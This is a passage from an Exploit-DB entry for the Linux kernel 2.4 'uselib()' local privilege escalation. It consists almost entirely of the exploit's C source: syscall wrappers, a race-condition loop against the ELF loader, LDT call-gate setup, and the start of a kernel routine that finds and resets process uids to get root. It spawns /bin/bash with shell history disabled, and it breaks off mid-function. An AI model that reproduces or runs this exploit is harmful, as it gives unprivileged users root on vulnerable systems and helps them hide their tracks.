Exploit-DB #744
Description: Linux Kernel 2.4.29-rc2 - 'uselib()' Local Privilege Escalation (1)
Type: local
Platform: linux
Date: 2005-01-07
Author: Paul Starzetz

Exploit:
/*
*   EDB Note: There's is an updated version ~ https://www.exploit-db.com/exploits/895/
*/
 
/*
 *	binfmt_elf uselib VMA insert race vulnerability
 *	v1.08
 *
 *	gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
 *
 *	Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>

#include <linux/elf.h>
#include <linux/linkage.h>

#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>

#define str(s) #s
#define xstr(s) str(s)

#define MREMAP_MAYMOVE  1


//	temp lib location
#define LIBNAME 	"/dev/shm/_elf_lib"

//	shell name
#define	SHELL		"/bin/bash"

//	time delta to detect race
#define RACEDELTA	5000

//	if you have more deadbabes in memory, change this
#define MAGIC		0xdeadbabe


//	do not touch
#define	SLAB_THRSH	128
#define	SLAB_PER_CHLD	(INT_MAX - 1)
#define LIB_SIZE	( PAGE_SIZE * 4 )
#define STACK_SIZE	( PAGE_SIZE * 4 )

#define LDT_PAGES	( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )

#define ENTRY_GATE	( LDT_ENTRIES-1 )
#define SEL_GATE	( (ENTRY_GATE<<3)|0x07 )

#define ENTRY_LCS	( ENTRY_GATE-2 )
#define SEL_LCS		( (ENTRY_LCS<<3)|0x04 )

#define ENTRY_LDS	( ENTRY_GATE-1 )
#define SEL_LDS		( (ENTRY_LDS<<3)|0x04 )

#define kB		* 1024
#define MB		* 1024 kB
#define GB		* 1024 MB

#define TMPLEN		256
#define PGD_SIZE	( PAGE_SIZE*1024 )


extern char **environ;

static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];


static volatile int
	val = 0,
	go = 0,
	finish = 0,
	scnt = 0,
	ccnt=0,
	delta = 0,
	delta_max = RACEDELTA,
	map_flags = PROT_WRITE|PROT_READ;


static int
	fstop=0,
	silent=0,
	pidx,
	pnum=0,
	smp_max=0,
	smp,
	wtime=2,
	cpid,
	uid,
	task_size,
	old_esp,
	lib_addr,
	map_count=0,
	map_base=0,
	map_addr,
	addr_min,
	addr_max,
	vma_start,
	vma_end,
	max_page;


static struct timeval tm1, tm2;

static char *myenv[] = {"TERM=vt100",
			"HISTFILE=/dev/null",
			NULL};

static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
                         "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";


static char *pagemap, *libname=LIBNAME, *shellname=SHELL;



#define __NR_sys_gettimeofday	__NR_gettimeofday
#define __NR_sys_sched_yield	__NR_sched_yield
#define __NR_sys_madvise	__NR_madvise
#define __NR_sys_uselib		__NR_uselib
#define __NR_sys_mmap2		__NR_mmap2
#define __NR_sys_munmap		__NR_munmap
#define __NR_sys_mprotect	__NR_mprotect
#define __NR_sys_mremap		__NR_mremap

inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);

inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);

inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );

inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);

inline _syscall1(int, sys_uselib, char*, l);

inline _syscall0(void, sys_sched_yield);



inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;

	r=t2->tv_sec - t1->tv_sec;
	r*=1000000;
	r+=t2->tv_usec - t1->tv_usec;
return r;
}


void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);

	if(!errno) {
		fprintf(stdout, "\n[-] FAILED: %s ", message);
	} else {
		fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
			(char*) (strerror(errno)) );
	}
	if(critical)
		printf("\nCRITICAL, entering endless loop");
	printf("\n");
	fflush(stdout);

	unlink(libname);
	kill(cpid, SIGKILL);
	for(;;) kill(0, sig);
}


//	try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
	finish=1;

	for(;;) {
		errno = 0;

//	check if raced:
recheck:
		if(!go) sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if(!smp_max && delta < (unsigned)delta_max) goto recheck;
		smp = smp_max;

//	check if lib VMAs exist as expected under race condition
recheck2:
		val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
		if(val) continue;
		errno = 0;
		val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
				LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
		if( !val || (val<0 && errno!=ENOMEM) ) continue;

//	SMP?
		smp--;
		if(smp>=0) goto recheck2;

//	recheck race
		if(!go) continue;
		finish++;

//	we need to free one vm_area_struct for mmap to work
		val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
		if(val) fatal("mprotect", 0);
		val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
			      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
		if(-1==val) fatal("mmap2 race", 0);
		printf("\n[+] race won maps=%d", map_count); fflush(stdout);
		_exit(0);
	}

return 0;
}


int callme_1()
{
	return val++;
}


inline int valid_ptr(unsigned ptr)
{
	return ptr>=task_size && ptr<addr_min-16;
}


inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;

	if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
		t=(unsigned*)p[3];
		if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
			return 1;
	}
	return 0;
}


asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;

//	find & reset uids
	while(addr[0] != uid || addr